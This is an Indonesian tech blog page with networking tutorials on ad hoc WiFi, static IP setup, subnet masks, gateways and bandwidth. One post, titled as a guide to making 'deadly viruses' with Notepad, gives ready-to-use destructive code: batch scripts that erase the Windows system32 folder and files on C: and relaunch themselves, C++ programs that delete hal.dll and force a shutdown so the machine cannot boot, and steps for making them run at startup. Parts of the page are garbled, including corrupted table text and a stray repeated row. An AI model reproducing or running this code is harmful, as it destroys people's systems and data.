Latest Stories

Setting LAN Dengan Wifi Antar Laptop Windows 7

Membuat Setting LAN Dengan Wifi Antar Laptop Windows 7 adalah menghubungkan peer to peer antar laptop agar dapat digunakan bersama-sama alias di-sharingkan. Antara lain manfaat dari setting ini adalah untuk berbagi data, bermain game Lan, menjadikan salah satu laptop sebagai Router Modem untuk berbagi koneksi internet, dan lainnya. Koneksi ini layaknya koneksi LAN konvensional yang selama ini kita kenal dengan menggunakan kabel UTP melalui media Hub Swicth.

Tahap-tahap untuk melakukan koneksi WIFI sebagai berikut :
Aktifkan WLAN pada laptop anda.
blogbudaqdegil.blogspotKlik Windows Start, pada kolom Search programs and files lalu ketikan: Adhoc dan klik Enter.
Akan tampil kotak Setup Ad Hoc Network, klik Next untuk melanjutkan.
Pada kotak Network name isi dengan nama yang akan kita gunakan sebagai SSID, misalnya : budaqdegil, Pilih mode security : WEP (Wired Equivalent Privacy), WPA2-Personal (Wireless Apliccation Protokol ) atau Open. Isilah Security key dengan password yang anda inginkan, centang opsi Save this network, klik Next setelah itu.
blogbudaqdegil.blogspot

Setelah muncul jendela The 
budaqdegil network is ready to use, klik Close.
Sekarang sialahkan periksa koneksi WiFi dengan cara klik icon wireless pada taskbar di sebelah kanan layar anda,    maka akan tampil status budaqdegil – Waiting for users.

blogbudaqdegil.blogspot  blogbudaqdegil.blogspot

Sampai disini cara Setting LAN Dengan Wifi Antar Laptop Windows 7 untuk laptop pertama bereslah sudah, selanjutnya tinggal membuat setting pada laptop yang lainnya. Sebagai catatan, setting seperti ini dapat anda gunakan juga sebagai koneksi LAN dari laptop ke Personal Computer anda atau sebaliknya, asalkan PC anda dilengkapi dengan USB Wireless Adapter atau PCI (PCIX) Wire Adapter. Caranya settingnya sama saja.

Read More ...

Latest Stories

Cara Setting IP Address Windows 7 - Apa itu IP AddressIP Address (Internet Protocol Address atau sering disingkat IP) adalah deretan angka biner antar 32-bit sampai 128-bit yang dipakai sebagai alamat identifikasi untuk tiap komputer host dalam jaringan Internet. Panjang dari angka ini adalah 32-bit (untuk IPv4 atau IP versi 4), dan 128-bit (untuk IPv6 atau IP versi 6) yang menunjukkan alamat dari komputer tersebut pada jaringan Internet berbasis TCP/IP. Nah pada kali ini saya mencoba untuk memberikan IP Address versi 4 yang sering di pakai.  Cara Setting IP Address Windows  :

  1. Klik Start Menu atau Icon Windows Dan klik Control Panel. Terlihat pada gambar  :
  2. Setelah itu lihat menu Network and Internet lalu klik View network status and task. Terlihat pada gambar  :
  3. Setelah itu klik Change adapter setting. Terlihat pada gambar  :
  4. Setelah itu klik kanan pada Local Area Network lalu pilih properties. Pastikan Network Adapter tidak di disable. Terlihat pada gambar  :
  5. Kemudian klik dua kali pada Internet Protocol Version 4 (TCP/IPv4). Nah setelah itu pilih Use the following IP Addres dan masukkan IP Address yang anda inginkan sesuai ketentuan jaringan anda seperti, Gatewaynya atau DNSnya. Setelah itu tekan OK.
Selesai Cara Setting IP Address Windows 7
Read More ...

Latest Stories

Setting IP Address Permanen Pada Linux

Berikut ini adalah tutorial cara setting IP Address permanen. Berikut langkah -langkahnya.


1. Pada shell ketikkan: "pico /etc/network/interfaces" --> Tanpa tanda kutip, lalu enter
2. Setelah masuk kosongkan data lalu ketikkan
address 192.168.1.9
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
dns-nameservers 8.8.8.8

setelah selesai ctrl  o -> enter -> ctrl z

3. Restart linux

5. Setelah direstart ketikkan : "/etc/init.d/networking restart" --> Tanpa tanda kutip, lalu enter

Read More ...

Latest Stories

Membuat Bootable USB Flash Disk untuk Windows 7 dan Windows XP

Seiring berjalannya waktu, komputer atau laptop biasanya akan menjadi berat dan lambat. Penyebabnya bisa bermacam-macam, seperti: terlalu banyak aplikasi yang terinstal, registry yang sudah tidak optimal karena sering install dan uninstall, atau bahkan ada file system yang corrupt karena terkena virus atau trojan.
Dalam beberapa kasus, masalah-masalah tersebut bisa diselesaikan satu persatu secara parsial. Namun tidak jarang juga, masalahnya sudah sedemikian kompleks sehingga cara terbaik untuk menyelesaikannya adalah dengan install ulang OS. Bagaimanapun, adalah suatu keniscayaan bahwa suatu saat laptop atau komputer perlu untuk di-install ulang sistem operasinya.
Membuat Bootable USB Flash Disk untuk Windows 7 dan Windows XP
Metode yang umum untuk meng-install ulang OS Windows adalah dengan menggunakan bootable CD/DVD Windows yang sudah ada. Namun hal ini ternyata menjadi masalah tersendiri khususnya bagi komputer atau laptop yang CD/DVD ROM-nya sudah rusak. Hal ini lumrah terjadi mengingat CD/DVD ROM memang perangkat yang relatif lebih mudah rusak. Selain itu, beberapa tipe netbook yang beredar sekarang  sengaja tidak dilengkapi dengan DVD ROM untuk menekan harga jual. Lalu bagaimana mereka bisa melakukan install ulang? Apakah harus membeli DVD external? 

Mengganti Background/Wallpaper Windows 7 Starter

Mengganti Background/Wallpaper Windows 7 StarterBanyak yang mengeluh karena Microsoft menghilangkan beberapa fitur utama pada Windows 7 Starter. Hal ini terjadi terutama pada konsumen yang operating system satu paket dengan PC/notebook/netbook yang mereka beli. Salah satu fitur yang hilang adalah “Personalization features” yang memungkinkan anda untuk melakukan konfigurasi pada layar monitor yang anda pakai. Hal ini juga yang menyebabkan anda tidak dapat merubah background/wallpaper logo windows 7 dengan gambar favorite anda.
Sebenarnya hal ini bias diatasi dengan cara mengupdate Windows 7 Starter anda ke versi yang lebih unggul seperti Windows 7 Home Basic, Windows 7 Home Premium, Windows 7 Professional atau Windows 7 Ultimate. Tetapi dengan catatan anda harus merogoh kocek lagi untuk membeli lisensinya dari Microsoft.

Read More ...

Latest Stories


Cara Membuat Virus Mematikan Cuma dengan "Notepad"

Membuat virus? Berbahaya enggak? Tentu saja virus berbahaya, namun tutorial kali ini akan membahas cara membuat virus sederhana yang dari paling tidak berbahaya, hingga yang berbahaya

Langkah-langkah

1. Buka Notepad
2. Copy Code dibawah ini

lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")


3. Save dengan format .vbs (ex : virus1.vbs). Simpan juga dengan format all file
4. Jalankan Virusnya
5. Akan muncul pilihan yes or no. Pilih saja salah satu (Yes atau No). Tidak akan terjadi apa-apa kok.

Note : Pesan yang muncul bisa diganti-ganti. Dan jika mau program itu aktif ketika komputer startup, letakkan programnya di C:\Documents and Settings\*namauser*\Start Menu\Programs\Startup.


* * *

Virus Batch Sederhana manthabmanthab

Virus yang kali ini cukup berbahaya, namun tidak merusak. Jika mau mencoba, silakan coba di komputer lain, jangan di komputer pribadi.

Langkah-langkah

1. Buka Notepad
2. Copy Code di bawah ini

Virus terdeteksi // Title buat window
xxx // sub skrip xxx
msg * mencoba mendelete viruz // pesan
erase "C:\WINDOWS\system32" // menghapus system32
start xxxx.bat // menjalankan file xxxx.bat yg disimpan pada folder yang sama
msg * percobaan gagal,mencoba kembali // pesan
goto xxxx // eksekusi xxxx.bat



3. Save dengan nama xxx.bat (Jadikan all file, jangan .txt)
4. Buka Notepad (Notepad baru)
5. Copy kode berikut

Viruz // mengubah window title
msg * Wah2 komputer anda kena viruz// pesan di message box
del // Delete files /// "del c:" mengapus file yg di c:
erase // sama kyk del
start xxxx.bat // memulai xxxx.bat
xxx // sub skrip
goto // ke subskrip



6. Save dengan nama xxxx.bat( Jadikan all file,,simpan di folder yg sama dengan file yang pertama)
7. Jika mau menjalankannya, jalankan yang xxxx.bat
8. Jika mau menjalankannya ketika komputer Startup Copy ke C:\Documents and Settings\*nama user*\Start Menu\Programs\Startup.


* * *

Virus Berbahaya hammerhammer

Virus yang ini mungkin dikategorikan berbahaya, dikarenakan bisa menghapus file .dll dan membuat komputer tak bisa booting. Jadi hati-hati, kalau mau coba, coba di komputer yang udah mau rusak aja.

Langkah - langkah
1. Siapkan tool C++ (Seperti dev c Portable dan yang sejenis)
2. Copy Code di bawah ini

#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}



3. Program ini akan menghapus hal.dll , jadi jangan dieksekusi karena bisa menyebabkan gagal booting.
4. Kalau mau yang advance, copy code di bawah ini

#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}


5. Perbedaan dengan kode yang pertama adalah pada proses pencarian directory system secara sistem. (Kode pertama hanya bisa menghapus kode hal.dll jika dilteakkan di directory C: , sedangkan ini akan otomatis mencari.
6. Jangan coba di komputer yang masih normal-normal. Coba di komputer yang kira-kira sudah rusak berat saja.


selamat mencoba......
Read More ...

Latest Stories



Subnet mask
Subnet mask adalah istilah teknologi informasi dalam bahasa Inggris yang mengacu kepada angka biner 32 bit yang digunakan untuk membedakan network ID dengan host ID, menunjukkan letak suatu host, apakah berada di jaringan lokal atau jaringan luar.
RFC 950 mendefinisikan penggunaan sebuah subnet mask yang disebut juga sebagai sebuah address mask sebagai sebuah nilai 32-bit yang digunakan untuk membedakan network identifier dari host identifier di dalam sebuah alamat IP. Bit-bit subnet mask yang didefinisikan, adalah sebagai berikut:
  • Semua bit yang ditujukan agar digunakan oleh network identifier diset ke nilai 1.
  • Semua bit yang ditujukan agar digunakan oleh host identifier diset ke nilai 0.
Setiap host di dalam sebuah jaringan yang menggunakan TCP/IP membutuhkan sebuah subnet mask meskipun berada di dalam sebuah jaringan dengan satu segmen saja. Entah itu subnet mask default (yang digunakan ketika memakai network identifier berbasis kelas) ataupun subnet mask yang dikustomisasi (yang digunakan ketika membuat sebuah subnet atau supernet) harus dikonfigurasikan di dalam setiap node TCP/IP.
Representasi Subnet Mask
Ada dua metode yang dapat digunakan untuk merepresentasikan subnet mask, yakni:
  • Notasi Desimal Bertitik
  • Notasi Panjang Prefiks Jaringan
Desimal Bertitik
Sebuah subnet mask biasanya diekspresikan di dalam notasi desimal bertitik (dotted decimal notation), seperti halnya alamat IP. Setelah semua bit diset sebagai bagian network identifier dan host identifier, hasil nilai 32-bit tersebut akan dikonversikan ke notasi desimal bertitik. Perlu dicatat, bahwa meskipun direpresentasikan sebagai notasi desimal bertitik, subnet mask bukanlah sebuah alamat IP.
Subnet mask default dibuat berdasarkan kelas-kelas alamat IP dan digunakan di dalam jaringan TCP/IP yang tidak dibagi ke dalam beberapa subnet. Tabel di bawah ini menyebutkan beberapa subnet mask default dengan menggunakan notasi desimal bertitik. Formatnya adalah:
<alamat IP www.xxx.yyy.zzz>, <subnet mask www.xxx.yyy.zzz>
Kelas alamat
Subnet mask (biner)
Subnet mask (desimal)
Kelas A
11111111.00000000.00000000.00000000
255.0.0.0
Kelas B
11111111.11111111.00000000.00000000
255.255.0.0
Kelas C
11111111.11111111.11111111.00000000
255.255.255.0
Perlu diingat, bahwa nilai subnet mask default di atas dapat dikustomisasi oleh administrator jaringan, saat melakukan proses pembagian jaringan (subnetting atau supernetting). Sebagai contoh, alamat 138.96.58.0 merupakan sebuah network identifier dari kelas B yang telah dibagi ke beberapa subnet dengan menggunakan bilangan 8-bit. Kedelapan bit tersebut yang digunakan sebagai host identifier akan digunakan untuk menampilkan network identifier yang telah dibagi ke dalam subnet. Subnet yang digunakan adalah total 24 bit sisanya (255.255.255.0) yang dapat digunakan untuk mendefinisikan custom network identifier. Network identifier yang telah di-subnet-kan tersebut serta subnet mask yang digunakannya selanjutnya akan ditampilkan dengan menggunakan notasi sebagai berikut:
138.96.58.0, 255.255.255.0
Representasi panjang prefiks (prefix length) dari sebuah subnet mask
Karena bit-bit network identifier harus selalu dipilih di dalam sebuah bentuk yang berdekatan dari bit-bit ordo tinggi, maka ada sebuah cara yang digunakan untuk merepresentasikan sebuah subnet mask dengan menggunakan bit yang mendefinisikan network identifier sebagai sebuah network prefix dengan menggunakan notasi network prefix seperti tercantum di dalam tabel di bawah ini. Notasi network prefix juga dikenal dengan sebutan notasi Classless Inter-Domain Routing (CIDR) yang didefinisikan di dalam RFC 1519. Formatnya adalah sebagai berikut:
/<jumlah bit yang digunakan sebagai network identifier>
Kelas alamat
Subnet mask (biner)
Subnet mask (desimal)
Prefix Length
Kelas A
11111111.00000000.00000000.00000000
255.0.0.0
/8
Kelas B
11111111.11111111.00000000.00000000
255.255.0.0
/16
Kelas C
11111111.11111111.11111111.00000000
255.255.255.0
/24
Sebagai contoh, network identifier kelas B dari 138.96.0.0 yang memiliki subnet mask 255.255.0.0 dapat direpresentasikan di dalam notasi prefix length sebagai 138.96.0.0/16.
Karena semua host yang berada di dalam jaringan yang sama menggunakan network identifier yang sama, maka semua host yang berada di dalam jaringan yang sama harus menggunakan network identifier yang sama yang didefinisikan oleh subnet mask yang sama pula. Sebagai contoh, notasi 138.23.0.0/16 tidaklah sama dengan notasi 138.23.0.0/24, dan kedua jaringan tersebut tidak berada di dalam ruang alamat yang sama. Network identifier 138.23.0.0/16 memiliki range alamat IP yang valid mulai dari 138.23.0.1 hingga 138.23.255.254; sedangkan network identifier 138.23.0.0/24 hanya memiliki range alamat IP yang valid mulai dari 138.23.0.1 hingga 138.23.0.254.
Menentukan alamat Network Identifier
Untuk menentukan network identifier dari sebuah alamat IP dengan menggunakan sebuah subnet mask tertentu, dapat dilakukan dengan menggunakan sebuah operasi matematika, yaitu dengan menggunakan operasi logika perbandingan AND (AND comparison). Di dalam sebuah AND comparison, nilai dari dua hal yang diperbandingkan akan bernilai true hanya ketika dua item tersebut bernilai true; dan menjadi false jika salah satunya false. Dengan mengaplikasikan prinsip ini ke dalam bit-bit, nilai 1 akan didapat jika kedua bit yang diperbandingkan bernilai 1, dan nilai 0 jika ada salah satu di antara nilai yang diperbandingkan bernilai 0.
Cara ini akan melakukan sebuah operasi logika AND comparison dengan menggunakan 32-bit alamat IP dan dengan 32-bit subnet mask, yang dikenal dengan operasi bitwise logical AND comparison. Hasil dari operasi bitwise alamat IP dengan subnet mask itulah yang disebut dengan network identifier.
Contoh:
Alamat IP    10000011 01101011 10100100 00011010 (131.107.164.026)
Subnet Mask  11111111 11111111 11110000 00000000 (255.255.240.000)
------------------------------------------------------------------
Network ID   10000011 01101011 10100000 00000000 (131.107.160.000)
Tabel Pembuatan subnet
Subnetting Alamat IP kelas A
Tabel berikut berisi subnetting yang dapat dilakukan pada alamat IP dengan network identifier kelas A.
Jumlah subnet
(segmen jaringan)
Jumlah subnet bit
Subnet mask
(notasi desimal bertitik/
notasi panjang prefiks)
Jumlah host tiap subnet
1-2
1
255.128.0.0 atau /9
8388606
3-4
2
255.192.0.0 atau /10
4194302
5-8
3
255.224.0.0 atau /11
2097150
9-16
4
255.240.0.0 atau /12
1048574
17-32
5
255.248.0.0 atau /13
524286
33-64
6
255.252.0.0 atau /14
262142
65-128
7
255.254.0.0 atau /15
131070
129-256
8
255.255.0.0 atau /16
65534
257-512
9
255.255.128.0 atau /17
32766
513-1024
10
255.255.192.0 atau /18
16382
1025-2048
11
255.255.224.0 atau /19
8190
2049-4096
12
255.255.240.0 atau /20
4094
4097-8192
13
255.255.248.0 atau /21
2046
8193-16384
14
255.255.252.0 atau /22
1022
16385-32768
15
255.255.254.0 atau /23
510
32769-65536
16
255.255.255.0 atau /24
254
65537-131072
17
255.255.255.128 atau /25
126
131073-262144
18
255.255.255.192 atau /26
62
262145-524288
19
255.255.255.224 atau /27
30
524289-1048576
20
255.255.255.240 atau /28
14
1048577-2097152
21
255.255.255.248 atau /29
6
2097153-4194304
22
255.255.255.252 atau /30
2
Subnetting Alamat IP kelas B
Tabel berikut berisi subnetting yang dapat dilakukan pada alamat IP dengan network identifier kelas B.
Jumlah subnet/
segmen jaringan
Jumlah subnet bit
Subnet mask
(notasi desimal bertitik/
notasi panjang prefiks)
Jumlah host tiap subnet
1-2
1
255.255.128.0 atau /17
32766
3-4
2
255.255.192.0 atau /18
16382
5-8
3
255.255.224.0 atau /19
8190
9-16
4
255.255.240.0 atau /20
4094
17-32
5
255.255.248.0 atau /21
2046
33-64
6
255.255.252.0 atau /22
1022
65-128
7
255.255.254.0 atau /23
510
129-256
8
255.255.255.0 atau /24
254
257-512
9
255.255.255.128 atau /25
126
513-1024
10
255.255.255.192 atau /26
62
1025-2048
11
255.255.255.224 atau /27
30
2049-4096
12
255.255.255.240 atau /28
14
4097-8192
13
255.255.255.248 atau /29
6
8193-16384
14
255.255.255.252 atau /30
2
Subnetting Alamat IP kelas C
Tabel berikut berisi subnetting yang dapat dilakukan pada alamat IP dengan network identifier kelas C.
Jumlah subnet
(segmen jaringan)
Jumlah subnet bit
Subnet mas1265132185131813k
(notasi desimal bertitik/
notasi panjang prefiks)
Jumlah host tiap subnet
1-2
1
255.255.255.128 atau /25
126
3-4
2
255.255.255.192 atau /26
62
5-8
3
255.255.255.224 atau /27
30
9-16
4
255.255.255.240 atau /28
14
17-32
5
255.255.255.248 atau /29
6








Variable-length Subnetting
Bahasan di atas merupakan sebuah contoh dari subnetting yang memiliki panjang tetap (fixed length subnetting), yang akan menghasilkan beberapa subjaringan dengan jumlah host yang sama. Meskipun demikian, dalam kenyataannya segmen jaringan tidaklah seperti itu. Beberapa segmen jaringan membutuhkan lebih banyak alamat IP dibandingkan lainnya, dan beberapa segmen jaringan membutuhkan lebih sedikit alamat IP.
Jika proses subnetting yang menghasilkan beberapa subjaringan dengan jumlah host yang sama telah dilakukan, maka ada kemungkinan di dalam segmen-segmen jaringan tersebut memiliki alamat-alamat yang tidak digunakan atau membutuhkan lebih banyak alamat. Karena itulah, dalam kasus ini proses subnetting harus dilakukan berdasarkan segmen jaringan yang dibutuhkan oleh jumlah host terbanyak. Untuk memaksimalkan penggunaan ruangan alamat yang tetap, subnetting pun diaplikasikan secara rekursif untuk membentuk beberapa subjaringan dengan ukuran bervariasi, yang diturunkan dari network identifier yang sama. Teknik subnetting seperti ini disebut juga variable-length subnetting. Subjaringan-subjaringan yang dibuat dengan teknik ini menggunakan subnet mask yang disebut sebagai Variable-length Subnet Mask (VLSM).
Karena semua subnet diturunkan dari network identifier yang sama, jika subnet-subnet tersebut berurutan (kontigu subnet yang berada dalam network identifier yang sama yang dapat saling berhubungan satu sama lainnya), rute yang ditujukan ke subnet-subnet tersebut dapat diringkas dengan menyingkat network identifier yang asli.
Teknik variable-length subnetting harus dilakukan secara hati-hati sehingga subnet yang dibentuk pun unik, dan dengan menggunakan subnet mask tersebut dapat dibedakan dengan subnet lainnya, meski berada dalam network identifer asli yang sama. Kehati-hatian tersebut melibatkan analisis yang lebih terhadap segmen-segmen jaringan yang akan menentukan berapa banyak segmen yang akan dibuat dan berapa banyak jumlah host dalam setiap segmennya.
Dengan menggunakan variable-length subnetting, teknik subnetting dapat dilakukan secara rekursif: network identifier yang sebelumnya telah di-subnet-kan, di-subnet-kan kembali. Ketika melakukannya, bit-bit network identifier tersebut harus bersifat tetap dan subnetting pun dilakukan dengan mengambil sisa dari bit-bit host.
Tentu saja, teknik ini pun membutuhkan protokol routing baru. Protokol-protokol routing yang mendukung variable-length subnetting adalah Routing Information Protocol (RIP) versi 2 (RIPv2), Open Shortest Path First (OSPF), dan Border Gateway Protocol (BGP versi 4 (BGPv4). Protokol RIP versi 1 yang lama, tidak mendukungya, sehingga jika ada sebuah router yang hanya mendukung protokol tersebut, maka router tersebut tidak dapat melakukan routing terhadap subnet yang dibagi dengan menggunakan teknik variable-length subnet mask.
33-64
6
255.255.255.252 atau /30
2

Gateway

Gateway adalah sebuah perangkat yang digunakan untuk menghubungkan satu jaringan komputer dengan satu atau lebih jaringan komputer yang menggunakan protokol komunikasi yang berbeda sehingga informasi dari satu jaringan computer dapat diberikan kepada jaringan komputer lain yang protokolnya berbeda. Definisi tersebut adalah definisi gateway yang utama.
Seiring dengan merebaknya internet, definisi gateway seringkali bergeser. Tidak jarang pula pemula menyamakan "gateway" dengan "router" yang sebetulnya tidak benar.
Kadangkala, kata "gateway" digunakan untuk mendeskripkan perangkat yang menghubungkan jaringan komputer besar dengan jaringan komputer besar lainnya. Hal ini muncul karena seringkali perbedaan protokol komunikasi dalam jaringan komputer hanya terjadi di tingkat jaringan komputer yang besar.




yang dimaksud dengan Bandwidth?

Bandwidth (disebut juga Data Transfer atau Site Traffic) adalah data yang keluar+masuk/upload+download ke account anda.
Contoh: Ketika anda menerima/mengirim email, asumsikan besarnya email yang diterima/dikirim adalah 4 KB, berarti secara teori, untuk bandwidth 1.000 MB (1.000.000 KB) anda bisa *kirim* 250.000 email atau berbagai variasi antara kirim/terima, misalnya 100.000 kirim, 150.000 terima. Ini hanya contoh untuk penjelasan bandwidth, pada kenyataannya, data yang keluar masuk ke account bisa datang dari pengunjung (yang mendownload halaman website ke PC-nya), atau anda upload gambar/file ke account dan sebagainya.
Bandwidth/Site Traffic dihitung per bulan & bisa dilihat di cPanel.
Jika anda mengenal Telkom Speedy, Bandwidth ini cara kerjanya sama dengan Kuota di Telkom Speedy. Hanya saja yang menjadi acuan bagi perhitungan kuota Telkom Speedy adalah data yang keluar/masuk ke PC/Modem ADSL anda, sedangkan di hosting acuannya adalah data yang keluar/masuk ke account.




Read More ...

Footer Widget 1

Texts

Footer Widget 3

Download youtube Video

Blogger Tricks

Jadwal Shalat

Advertisement

Footer Widget 2

Diberdayakan oleh Blogger.

Followers